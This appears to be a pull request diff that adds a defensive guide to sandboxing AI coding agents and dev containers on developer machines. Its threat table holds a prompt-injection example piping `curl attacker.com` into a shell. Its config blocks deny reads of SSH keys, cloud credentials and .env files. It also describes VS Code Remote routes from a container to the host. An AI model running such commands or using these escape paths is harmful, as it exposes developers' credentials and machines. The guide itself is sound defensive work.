Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
23 commits
Select commit Hold shift + click to select a range
6e02acf
Add Attack Surface Overview page with interactive radial threat map
ElliotFriedman Mar 30, 2026
2856882
Mark Attack Surface Overview as dev content
ElliotFriedman Mar 30, 2026
6a4af7c
Replace selection ring with scale + glow effect on selected nodes
ElliotFriedman Mar 30, 2026
550e049
Add GitHub Actions reminder for attack surface threat data changes
ElliotFriedman Mar 30, 2026
ce0b2a5
Address Sara first PR feedback item
ElliotFriedman Apr 9, 2026
b95c5ed
Address Sara second PR feedback item
ElliotFriedman Apr 9, 2026
2a1bb2f
Smooth-scroll detail card into view when a threat node is clicked
ElliotFriedman Apr 9, 2026
71b8f37
Move attack-surface.mdx into intro/ folder and update links
ElliotFriedman Apr 13, 2026
9fafb9a
Use react-router Link for framework CTA to avoid full page reload
ElliotFriedman Apr 13, 2026
7430fd0
Add standard page components to Attack Surface Overview
ElliotFriedman Apr 13, 2026
2c3a286
merge develop
ElliotFriedman May 5, 2026
2f76505
developer machine sandboxing
ElliotFriedman May 6, 2026
36f9529
add dev machine sandboxing to vocs config
ElliotFriedman May 6, 2026
b0611f0
add dev machine sandboxing to section index
ElliotFriedman May 6, 2026
4c49215
add dev machine sandobxing to fetched tags
ElliotFriedman May 6, 2026
723125a
update built files
ElliotFriedman May 6, 2026
a0514f4
address pr feedback
ElliotFriedman May 6, 2026
a17a6da
Add link to Developer Machine Sandboxing
mattaereal May 7, 2026
894235b
add opencode section
ElliotFriedman May 25, 2026
968f29d
remote extension trust model
ElliotFriedman May 25, 2026
0994a6c
Merge branch 'devsecops/developer-machine-sandboxing' of github.com:E…
ElliotFriedman May 25, 2026
37ab6bf
update wordlist to include tob, unsandboxed, exfiltrates and Daytona
ElliotFriedman May 25, 2026
b57f907
Merge branch 'develop' into devsecops/developer-machine-sandboxing
ElliotFriedman May 25, 2026
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions docs/pages/ai-security/overview.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -126,6 +126,7 @@ risk tolerance.
- [Data Exfiltration via Generative Systems](/ai-security/data-exfiltration-via-generative-systems)
- [Execution-Path Enforcement](/ai-security/execution-path-enforcement)
- [DevSecOps Isolation & Sandboxing (Brief Reference)](/ai-security/devsecops-isolation-sandboxing-reference)
- [Developer Machine Sandboxing](/devsecops/isolation/developer-machine-sandboxing)

---

Expand Down
233 changes: 233 additions & 0 deletions docs/pages/devsecops/isolation/developer-machine-sandboxing.mdx
Original file line number Diff line number Diff line change
@@ -0,0 +1,233 @@
---
title: "Developer Machine Sandboxing | SEAL"
description: "Practical sandboxing configurations for Claude Code, Codex CLI, and VS Code dev containers to constrain blast radius on developer machines."
tags:
- Engineer/Developer
- Security Specialist
- DevOps
contributors:
- role: wrote
users: [ElliotFriedman]
---

import { TagList, AttributionList, TagProvider, TagFilter, ContributeFooter } from '../../../../components'

<TagProvider>
<TagFilter />

# Developer Machine Sandboxing

<TagList tags={frontmatter.tags} />
<AttributionList contributors={frontmatter.contributors} />

> 🔑 **Key Takeaway**: Sandboxing on your developer machine limits the blast radius when a tool goes wrong, whether that's prompt injection, a malicious dependency, or an LLM mistake. Imperfect containment is much better than no containment, and spending 5 minutes configuring containers can prevent company-ending mistakes.

AI coding agents run shell commands directly on your machine. A prompt injection or a malicious package could read `~/.ssh`, modify `.bashrc`, or silently steal secrets. Unlike CI runners, developer machines aren't ephemeral: they carry years of credentials, tokens, and config. The goal of sandboxing is making sure the blast radius of mistakes stays contained.

## Threats

| Type | Example | Mitigated by |
| --- | --- | --- |
| Prompt injection | Malicious file content tricks agent into running `curl attacker.com \| sh` | Sandboxing, shell command restrictions |
| Malicious dependency | npm package exfiltrates env vars on install | Deny-by-default egress, blocked home directory reads |
| LLM mistake | Agent overwrites `~/.zshrc` or deletes project files | Filesystem write restrictions scoped to working directory |

## Claude Code: native sandbox mode

Claude Code has a native sandboxed bash tool backed by OS-level primitives: Seatbelt on macOS, bubblewrap on Linux and WSL2. The sandbox applies to every subprocess Claude invokes (npm, kubectl, terraform, git), not just Claude's own file tools.

**Step 1: install prerequisites (Linux/WSL2 only, macOS has Seatbelt built in)**:

```bash
sudo apt-get install bubblewrap socat # Ubuntu/Debian
sudo dnf install bubblewrap socat # Fedora
```

**Step 2: enable sandboxing**:

Run `/sandbox` inside Claude Code. You'll get a menu with two modes:

- **Auto-allow**: sandboxed commands run without per-command prompts. Anything that can't run inside the sandbox (e.g. a command reaching a non-allowed host) falls back to the normal approval flow. This mode reduces approval fatigue.
- **Regular permissions**: every bash command still goes through the standard approval flow, but OS-level filesystem and network restrictions are still enforced. This adds more friction, but results in better system security properties.

Start with auto-allow. You can tighten it per-project via settings.

**Step 3: harden the project config** (`.claude/settings.json`):

```json
{
"sandbox": {
"enabled": true,
"failIfUnavailable": true,
"allowUnsandboxedCommands": false,
"filesystem": {
"denyRead": ["~/.ssh", "~/.aws"],
"allowRead": ["."],
"allowWrite": ["/tmp/build"]
},
"network": {
"allowedDomains": [
"registry.npmjs.org",
"api.github.com",
"crates.io"
]
}
},
"permissions": {
"deny": ["Read(.env)", "Bash(cat .env)"]
}
}
```

- `failIfUnavailable: true`: hard-fails if the sandbox can't start, rather than silently running without isolation
- `allowUnsandboxedCommands: false`: closes the built-in escape hatch that lets Claude retry a failing command outside the sandbox
- `denyRead: ["~/.ssh", "~/.aws"]`: blocks reads from sensitive paths outside the project root, such as SSH keys and AWS credentials
- `allowRead: ["."]`: restores read access to the current project root (inside the denied region)
- `allowWrite: ["/tmp/build"]`: if a build tool needs to write outside the working directory, grant it here specifically
- `allowedDomains`: explicit egress allowlist; omit anything you don't actively need
- `permissions.deny`: protects against two different attack vectors. `Read(.env)` blocks Claude's built-in file tools (which use the permission system directly, bypassing the sandbox). `Bash(cat .env)` blocks bash subprocesses from accessing `.env` (these go through the sandbox layer). Note that `allowRead` takes precedence over `denyRead` within the sandbox, so `denyRead` only effectively blocks paths outside the project root, while `permissions.deny` is needed for in-tree secrets. Both rules are fragile: renaming the file or using alternate commands can bypass them, as noted in the limitations section below

### Known limitations

- The proxy enforces the allowlist by hostname; it does not terminate or inspect TLS. Domain fronting can bypass the allowlist. If that's in your threat model, run a custom TLS-terminating proxy instead.
- `allowUnixSockets` can expose the Docker socket and grant effective host root. Don't use it unless you know what you're doing.
- Adding broad domains like `github.com` to the allowlist opens exfiltration paths.
- There is no command allowlist at the project level. Shell tools like `curl` can still run inside the sandbox as long as they target an allowed domain. `allowedDomains` constrains where commands can reach, not which commands can run.

## Codex CLI: native sandbox mode

Codex CLI has native sandboxing built in, using the same OS primitives. In the CLI, use `/permissions` to switch modes during a session. The safest practical default for daily development is `workspace-write` combined with `approval_policy = "on-request"`: Codex can read and write within your project directory, but pauses for approval before going beyond that boundary. Avoid `danger-full-access` since it removes filesystem and network boundaries entirely and should not be used for normal work.

To make this the persistent default, add the following to `~/.codex/config.toml`:

```toml
[sandbox]
sandbox_mode = "workspace-write"
approval_policy = "on-request"

[sandbox.sandbox_workspace_write]
writable_roots = ["./"]

[permissions.default.network]
# deny all by default; add specific domains as needed
domains = {}
```

## OpenCode: permission gating plus a Docker sandbox

Unlike Claude Code and Codex, OpenCode has no native OS-level sandbox. Its built-in controls are a *permission* system, allow / ask / deny per tool, which gates what the agent does but does not isolate it. Treat permissions as a guardrail and run OpenCode inside a docker container to create a boundary.

**Step 1: gate tools with `permission` in `opencode.json`**:

The config lives in your project root (the key is `permission`, singular) and is safe to commit. Each tool, including `bash`, `edit`, `read`, `webfetch`, and `external_directory`, takes `allow`, `ask`, or `deny`, with `*`/`?` wildcard patterns where the last match wins.

```json
{
"$schema": "https://opencode.ai/config.json",
"permission": {
"bash": { "*": "ask", "git status*": "allow", "rm *": "deny" },
"edit": { "*": "deny", "src/**": "allow" },
"external_directory": "deny",
"webfetch": "ask"
}
}
```

This is the analog of Codex's approval policy, not of its sandbox. It prompts before risky actions, but a command you approve still runs with full host access; it cannot stop an approved command from reading `~/.ssh`.

**Step 2: run OpenCode inside a container**:

Because there is no native sandbox, isolation comes from wrapping OpenCode in Docker. Docker's agent sandbox CLI (`sbx`) runs it in a container that does not inherit your host user config and only sees the project directory, with provider credentials injected through a proxy rather than mounted:

```bash
sbx run opencode ~/my-project
```

For a more controllable baseline, run OpenCode inside the hardened dev container described in the next section (`--cap-drop=ALL`, `--security-opt=no-new-privileges`, a single `workspaceMount`, and no Docker socket). Either way the container is the boundary, and the `permission` rules ride along inside it as a second layer.

### Limitations

- The `permission` system is a UX gate. On its own it provides no filesystem or network boundary; an approved command has full host access.
- Container isolation inherits the usual Docker footguns covered in the VS Code dev containers section below: passwordless `sudo` in default images, Docker socket mounts, and no egress filtering unless explicitly added.
- Remote-backend plugins (for example, Daytona) offer stronger isolation by executing in a cloud sandbox, but they shift the trust boundary to a third party and turn the provider API key on your machine into a high-value target. They also sync over git and can overwrite local branches.

## VS Code dev containers

Dev containers run VS Code and every extension installed into it (including AI coding agents) inside a Docker container. The container's filesystem only sees what you explicitly mount, but the isolation is leakier than it looks: the Remote extension that makes dev containers work forwards your SSH and GPG agent sockets and copies your Git configuration into the container by default, effectively handing the container your host credentials without ever mounting the files. See the trust-model section below before treating a dev container as a security boundary.

**Baseline `.devcontainer/devcontainer.json`**:

```json
{
"image": "mcr.microsoft.com/devcontainers/base:ubuntu",
"workspaceMount": "source=${localWorkspaceFolder},target=/workspace,type=bind",
"workspaceFolder": "/workspace",
"runArgs": [
"--cap-drop=ALL",
"--security-opt=no-new-privileges"
],
"remoteUser": "vscode"
}
```

- `--network=none`: only add this flag for a box to quarantine it from the internet. Cuts all egress and outbound traffic
- `--cap-drop=ALL`: drops Linux capabilities (no raw sockets, no privilege escalation paths)
- `--security-opt=no-new-privileges`: prevents setuid/setgid escalation inside the container
- Single `workspaceMount`: the host filesystem outside the project directory is not visible
- Container memory can also be restricted to prevent software running inside a container from crashing the computer.

### The Remote extension trust model

Dev containers are powered by VS Code's Remote extension, which deploys a `vscode-server` agent inside the container and links it to the host IDE over an RPC channel. That bridge undermines the container boundary by design:

- **Forwarded SSH agent.** If you have an `ssh-agent` running, the Dev Containers extension forwards it into the container automatically and sets `SSH_AUTH_SOCK`. Any process inside can then ask your host agent to authenticate (`ssh-add -L` to list keys, then pivot to other hosts) without ever reading the key files. A passphrase only protects the initial unlock; once the agent has cached the key, it signs silently. (GPG commit signing is *not* forwarded automatically; it requires extra setup inside the container.)
- **Copied Git configuration.** Your host `~/.gitconfig`, including `user.signingkey` and `credential.helper`, is copied in by default. This enables commit signing and push auth seamlessly, but also allows impersonation and credential reuse.
- **Host terminal access from extensions.** A workspace extension running inside the container can call `workbench.action.terminal.newLocal` and `sendSequence` to open a terminal on the *host* and run arbitrary commands. This is a container-to-host RCE path that needs no exploit; it is part of the API.
- **Extension-host manipulation.** `.vscode/settings.json` and `.devcontainer/devcontainer.json` live in the bind-mounted workspace, so a workspace extension can edit them to inject `remote.extensionKind` overrides, then call `workbench.action.reloadWindow`. The host applies the poisoned config on reload, shifting an extension to run host-side.

Secure credentials by clearing the forwarded sockets and disabling the Git-config copy in `devcontainer.json`:

```json
{
"remoteEnv": {
"SSH_AUTH_SOCK": "",
"GIT_ASKPASS": ""
},
"settings": {
"dev.containers.copyGitConfig": false
}
}
```

These disable the SSH agent forwarding and Git-config copy. They do **not** address the host-terminal RCE path; that is only contained by trusting every extension installed in the workspace, so review extensions the same way you would review a dependency.

With forwarding off, run `git push` and commit signing from a host terminal (the workspace is bind-mounted, so the files are identical), or scope the container to a single-repo token rather than your full agent.

### Limitations

Dev containers aren't designed as security sandboxes; convenience shortcuts dominate the defaults. Three things to fix:

- Default base images ship with passwordless `sudo`. Disable it, or set `remoteUser` to a user without sudo access.
- Never mount the Docker socket (`/var/run/docker.sock`). It gives the container root-equivalent access to the host.
- `--network=none` breaks package installs. A custom Docker network with an egress proxy is more practical for daily development.

Trail of Bits has published a hardened devcontainer at [trailofbits/claude-code-devcontainer](https://github.com/trailofbits/claude-code-devcontainer), built for running Claude Code and VSCode Containers against untrusted codebases in security audits. It's a useful starting point if you want a well-considered baseline rather than building from scratch.

## References

- [Claude Code sandboxing](https://code.claude.com/docs/en/sandboxing)
- [Codex CLI sandboxing](https://developers.openai.com/codex/concepts/sandboxing)
- [OpenCode permissions](https://opencode.ai/docs/permissions/)
- [Run OpenCode in a Docker container](https://docs.docker.com/ai/sandboxes/agents/opencode/)
- [Trail of Bits claude-code-devcontainer](https://github.com/trailofbits/claude-code-devcontainer)
- [VS Code: Developing inside a Container](https://code.visualstudio.com/docs/devcontainers/containers)
- [The Red Guild, *Leveraging VSCode Internals to Escape Containers*](https://blog.theredguild.org/leveraging-vscode-internals-to-escape-containers/)
- [Calif, *"Vibe Hacking": Abusing Developer Trust in Cursor and VS Code Remote Development*](https://blog.calif.io/p/vibe-hacking-abusing-developer-trust)
- [Fly.io, *VSCode's SSH Agent Is Bananas*](https://fly.io/blog/vscode-ssh-wtf/)
- [NIST SP 800-190, *Application Container Security Guide*](https://csrc.nist.gov/pubs/sp/800/190/final)
- [Docker, *Docker Engine Security*](https://docs.docker.com/engine/security/)

---

</TagProvider>
<ContributeFooter />
1 change: 1 addition & 0 deletions docs/pages/devsecops/isolation/index.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -18,3 +18,4 @@ title: "Isolation"
- [Network & Resource Isolation](/devsecops/isolation/network-and-resource-isolation)
- [Sandboxing & Policy Enforcement](/devsecops/isolation/sandboxing-and-policy-enforcement)
- [Execution Sandboxing: A Practical Guide](/devsecops/isolation/execution-sandboxing-practical-guide)
- [Developer Machine Sandboxing](/devsecops/isolation/developer-machine-sandboxing)
1 change: 1 addition & 0 deletions docs/pages/devsecops/overview.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -51,6 +51,7 @@ Some of the key areas to consider are:
- [Governance Proposal Security Across the SDLC](/devsecops/governance-proposal-security) - Threat-model guide to
smart contract upgrade governance across the proposal lifecycle
- [Integrated Development Environments](/devsecops/integrated-development-environments) - Secure your development environment
- [Developer Machine Sandboxing](/devsecops/isolation/developer-machine-sandboxing) - Sandbox configurations for Claude Code, Codex CLI, and VS Code dev containers
- [Isolation & Sandboxing](/devsecops/isolation) - Containment patterns for CI/CD, tool execution, and build pipelines
- [Repository Hardening](/devsecops/repository-hardening) - Protect your code repositories
- [Security Testing](/devsecops/security-testing) - Integrate security testing into your development workflow
Expand Down
8 changes: 7 additions & 1 deletion utils/fetched-tags.json
Original file line number Diff line number Diff line change
Expand Up @@ -190,7 +190,8 @@
"/devsecops/governance-proposal-security": [
"Engineer/Developer",
"Operations & Strategy",
"Smart Contracts"
"Smart Contracts",
"DevOps"
],
"/devsecops/integrated-development-environments": [
"Engineer/Developer",
Expand All @@ -202,6 +203,11 @@
"Security Specialist",
"Operations & Strategy"
],
"/devsecops/isolation/developer-machine-sandboxing": [
"Engineer/Developer",
"Security Specialist",
"DevOps"
],
"/devsecops/isolation/execution-sandboxing-practical-guide": [
"Engineer/Developer",
"Security Specialist",
Expand Down
1 change: 1 addition & 0 deletions vocs.config.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -98,6 +98,7 @@ const config = {
{ text: 'Network & Resource Isolation', link: '/devsecops/isolation/network-and-resource-isolation' },
{ text: 'Sandboxing & Policy Enforcement', link: '/devsecops/isolation/sandboxing-and-policy-enforcement' },
{ text: 'Execution Sandboxing: A Practical Guide', link: '/devsecops/isolation/execution-sandboxing-practical-guide' },
{ text: 'Developer Machine Sandboxing', link: '/devsecops/isolation/developer-machine-sandboxing' },
]
},
{ text: 'Code Signing', link: '/devsecops/code-signing' },
Expand Down
4 changes: 4 additions & 0 deletions wordlist.txt
Original file line number Diff line number Diff line change
Expand Up @@ -63,6 +63,7 @@ Cyfrin
Cypherock
dapp
Darknet
Daytona
DCAP
Deauthorize
debevoise
Expand Down Expand Up @@ -107,6 +108,7 @@ erc
Ethlint
Excalidraw
exfiltrated
exfiltrates
Exfiltrating
exfiltration
Fábrega
Expand Down Expand Up @@ -332,6 +334,7 @@ TLSA
TOS
TOTP
TPM
trailofbits
triaging
trojanized
Tuta
Expand All @@ -347,6 +350,7 @@ uncompromised
unproxied
Unrekt
unreviewed
Unsandboxed
unstake
unstaking
unvalidated
Expand Down